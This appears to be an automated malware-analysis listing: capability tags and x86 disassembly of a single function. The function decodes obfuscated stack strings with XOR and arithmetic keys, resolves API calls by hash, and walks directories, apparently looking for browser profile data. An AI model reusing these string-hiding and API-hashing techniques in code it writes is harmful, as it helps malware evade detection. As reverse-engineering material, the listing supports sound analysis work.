Function at 0x4147b7
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x20], 0x3737361e
push edi
mov dword [ebp - 0x1c], 0x2b3e7938
xor ecx, ecx
mov dword [ebp - 0x18], 0x1e793b38
mov dword [ebp - 0x14], 0x36323a3c
mov dword [ebp - 0x10], 0x2e362b1b
mov dword [ebp - 0xc], 0x2a2b3c2a
mov byte [ebp - 8], 0x53
mov al, byte [ebp + ecx - 0x20]
xor al, 0x59
mov byte [ebp + ecx - 0xbc], al
inc ecx
cmp ecx, 0x19
jl 0x4147f5
lea eax, [ebp - 0xbc]
mov byte [ebp - 0xa3], 0
push eax
call fcn.00412606
cmp byte [esi + 2], 0
pop ecx
jne 0x414843
cmp byte [esi + 1], 0
jne 0x414843
cmp byte [esi + 4], 0
jne 0x414843
cmp byte [esi + 6], 0
jne 0x414843
cmp byte [esi + 3], 0
jne 0x414843
cmp byte [esi], 0
je 0x414a9d
xor ecx, ecx
inc ecx
call fcn.00418e22
mov ebx, eax
test ebx, ebx
je 0x414985
mov dword [ebp - 0x40], 0xada5a789
xor ecx, ecx
mov dword [ebp - 0x3c], 0xb4a462b1
mov dword [ebp - 0x38], 0xa7b5b9b1
mov dword [ebp - 0x34], 0xb962b5b4
mov dword [ebp - 0x30], 0x62a7b4a7
mov dword [ebp - 0x2c], 0xb4b6a7b4
mov dword [ebp - 0x28], 0xa7b8a7ab
mov word [ebp - 0x24], 0x4ca6
mov al, byte [ebp + ecx - 0x40]
sub al, 0x42
mov byte [ebp + ecx - 0x74], al
inc ecx
cmp ecx, 0x1e
jl 0x41488e
lea eax, [ebp - 0x74]
mov byte [ebp - 0x56], 0
push eax
call fcn.00412606
mov dword [esp], 0x1000
call fcn.0040570b
mov edi, eax
pop ecx
test edi, edi
je 0x414979
push 0x7c
pop eax
mov word [ebp - 4], ax
xor eax, eax
and dword [ebp - 0xa0], eax
mov word [ebp - 2], ax
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 4]
push eax
push ebx
jmp 0x414962
push eax
lea eax, [ebp - 0x2e8]
xor ecx, ecx
push eax
mov edx, 0xf89245cb
inc ecx
call fcn.00412cbc
call eax
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 4]
push eax
push 0
call fcn.004057dc
add esp, 0xc
xor ecx, ecx
mov edx, 0x5060ff33
inc ecx
push 0x800
push edi
push eax
call fcn.00412cbc
call eax
test eax, eax
je 0x414955
push edi
call fcn.0040581e
pop ecx
movzx ecx, word [edi + eax*2 - 2]
cmp ecx, 0x5c
je 0x41493f
cmp ecx, 0x2f
jne 0x414946
xor ecx, ecx
mov word [edi + eax*2 - 2], cx
push edi
lea edx, [ebp - 0x2e8]
mov ecx, esi
call fcn.00414aa2
pop ecx
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 4]
push eax
push 0
call fcn.004057dc
add esp, 0xc
test eax, eax
jne 0x4148e3
push edi
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
jmp 0x414a9d
xor edx, edx
mov dword [ebp - 0x74], 0x1f08dada
mov dword [ebp - 0x70], 0x180d1120
mov ecx, edx
mov dword [ebp - 0x6c], 0x13081e11
mov dword [ebp - 0x68], 0x1b170f11
mov dword [ebp - 0x64], 0x231b1e0e
mov dword [ebp - 0x60], 0x1f1e111f
mov dword [ebp - 0x5c], 0x1c1c0fda
mov al, byte [ebp + ecx - 0x74]
add al, 0x54
mov byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 0x1c
jl 0x4149ba
mov byte [ebp - 0x24], dl
mov ecx, edx
mov dword [ebp - 0x54], 0xe6ece3ca
mov dword [ebp - 0x50], 0xe7c5e7ee
mov dword [ebp - 0x4c], 0xc0ede9e1
mov dword [ebp - 0x48], 0xf1f5edf0
mov word [ebp - 0x44], 0xf0e7
mov byte [ebp - 0x42], 0xf1
mov al, byte [ebp + ecx - 0x54]
xor al, 0x82
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0x13
jl 0x4149f5
mov byte [ebp - 9], dl
mov ecx, edx
mov dword [ebp - 0x9c], 0xc2c7cfe8
mov dword [ebp - 0x98], 0xda8ecacb
mov dword [ebp - 0x94], 0xcbdc8ec1
mov dword [ebp - 0x90], 0xcbc7dcda
mov dword [ebp - 0x8c], 0xc98ecbd8
mov dword [ebp - 0x88], 0xc1c5cdcb
mov dword [ebp - 0x84], 0xc1dccc8e
mov dword [ebp - 0x80], 0xdccbddd9
mov dword [ebp - 0x7c], 0xcfde8edd
mov dword [ebp - 0x78], 0xa4ddc6da
mov al, byte [ebp + ecx - 0x9c]
xor al, 0xae
mov byte [ebp + ecx - 0xe8], al
inc ecx
cmp ecx, 0x28
jl 0x414a65
lea eax, [ebp - 0xe8]
mov byte [ebp - 0xc0], dl
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x40]
push 0x126
push eax
call fcn.00412723
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret